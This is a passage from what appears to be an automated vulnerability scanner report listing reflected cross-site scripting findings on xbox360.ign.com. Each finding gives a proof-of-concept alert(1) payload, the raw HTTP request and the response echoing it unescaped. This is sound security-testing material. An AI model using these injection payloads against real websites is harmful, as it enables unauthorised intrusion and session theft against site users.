c=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.5;77bd7*/alert(1)//8071b400f53=1;_g_cv=2) */

/* Generated on : Mon Jan 31 2011 11:10:01 PST */

/* ga_adb=ade;ga_srv=norm
...[SNIP]...

3.687. http://xbox360.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b0c9"><script>alert(1)</script>a8759f5a6a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?1b0c9"><script>alert(1)</script>a8759f5a6a1=1 HTTP/1.1
Host: xbox360.ign.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; NGUserID=a016c06-15003-1306593845-5; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715.3.10.1297040497; rsi_segs=10089

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:12:23 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:12:23 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041143207v-1n-12mc+1297041143207mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 157097

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Microsoft Xbox 360
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/?1b0c9"><script>alert(1)</script>a8759f5a6a1=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.688. http://xbox360.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92049"-alert(1)-"af5b92c78a9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?92049"-alert(1)-"af5b92c78a9=1 HTTP/1.1
Host: xbox360.ign.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; NGUserID=a016c06-15003-1306593845-5; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715.3.10.1297040497; rsi_segs=10089

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:12:25 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:12:25 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041145287v-1n-12mc+1297041145287mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 156959

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Microsoft Xbox 360
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/?92049"-alert(1)-"af5b92c78a9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.689. http://xbox360.ign.com/articles/114/1140235p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1140235p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcfc5"><script>alert(1)</script>e0fd222cee2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1140235p1.html?dcfc5"><script>alert(1)</script>e0fd222cee2=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-2000846072-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045058589v-1n-12mc+1297045058589mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 100833

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1140235p1.html?dcfc5"><script>alert(1)</script>e0fd222cee2=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.690. http://xbox360.ign.com/articles/114/1140235p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1140235p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 65611"-alert(1)-"b5f2faced39 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1140235p1.html?65611"-alert(1)-"b5f2faced39=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-718720277-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045060723v-1n-12mc+1297045060723mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 105764

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1140235p1.html?65611"-alert(1)-"b5f2faced39=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.691. http://xbox360.ign.com/articles/114/1140284p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1140284p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0edb"><script>alert(1)</script>ea0bade213d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1140284p1.html?b0edb"><script>alert(1)</script>ea0bade213d=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26185-106257925-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045054843v-1n-12mc+1297045054843mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 98311

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1140284p1.html?b0edb"><script>alert(1)</script>ea0bade213d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.692. http://xbox360.ign.com/articles/114/1140284p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1140284p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 902d8"-alert(1)-"d6a05603679 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1140284p1.html?902d8"-alert(1)-"d6a05603679=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-1586569504-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:37 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045057288v-1n-12mc+1297045057288mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 98267

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1140284p1.html?902d8"-alert(1)-"d6a05603679=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.693. http://xbox360.ign.com/articles/114/1140518p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1140518p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c07f"><script>alert(1)</script>164f51d0ce7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1140518p1.html?8c07f"><script>alert(1)</script>164f51d0ce7=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-1155253791-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045048752v-1n-12mc+1297045048752mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 124084

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1140518p1.html?8c07f"><script>alert(1)</script>164f51d0ce7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.694. http://xbox360.ign.com/articles/114/1140518p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1140518p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2c02f"-alert(1)-"599c92f2cfb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1140518p1.html?2c02f"-alert(1)-"599c92f2cfb=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1776727132-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045058563v-1n-12mc+1297045058563mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129192

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1140518p1.html?2c02f"-alert(1)-"599c92f2cfb=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.695. http://xbox360.ign.com/articles/114/1146752p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1146752p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7c4d"><script>alert(1)</script>35d2eb7ba8f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1146752p1.html?f7c4d"><script>alert(1)</script>35d2eb7ba8f=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-343151272-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045056221v-1n-12mc+1297045056221mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118966

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1146752p1.html?f7c4d"><script>alert(1)</script>35d2eb7ba8f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.696. http://xbox360.ign.com/articles/114/1146752p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1146752p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f21ac"-alert(1)-"2832c65e2d9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1146752p1.html?f21ac"-alert(1)-"2832c65e2d9=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1490770647-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045058422v-1n-12mc+1297045058422mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118695

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1146752p1.html?f21ac"-alert(1)-"2832c65e2d9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.697. http://xbox360.ign.com/articles/114/1147539p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147539p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 16b78"-alert(1)-"a75938f5a98 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147539p1.html?16b78"-alert(1)-"a75938f5a98=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:41 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:41 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-41614568-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:41 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045061567v-1n-12mc+1297045061567mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122759

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1147539p1.html?16b78"-alert(1)-"a75938f5a98=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.698. http://xbox360.ign.com/articles/114/1147539p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147539p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cee61"><script>alert(1)</script>5d8ecfb7f89 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147539p1.html?cee61"><script>alert(1)</script>5d8ecfb7f89=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-242924959-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045059772v-1n-12mc+1297045059772mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121117

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1147539p1.html?cee61"><script>alert(1)</script>5d8ecfb7f89=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.699. http://xbox360.ign.com/articles/114/1147619p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147619p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1ce73"-alert(1)-"372ba1c3c9f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147619p1.html?1ce73"-alert(1)-"372ba1c3c9f=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:09 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
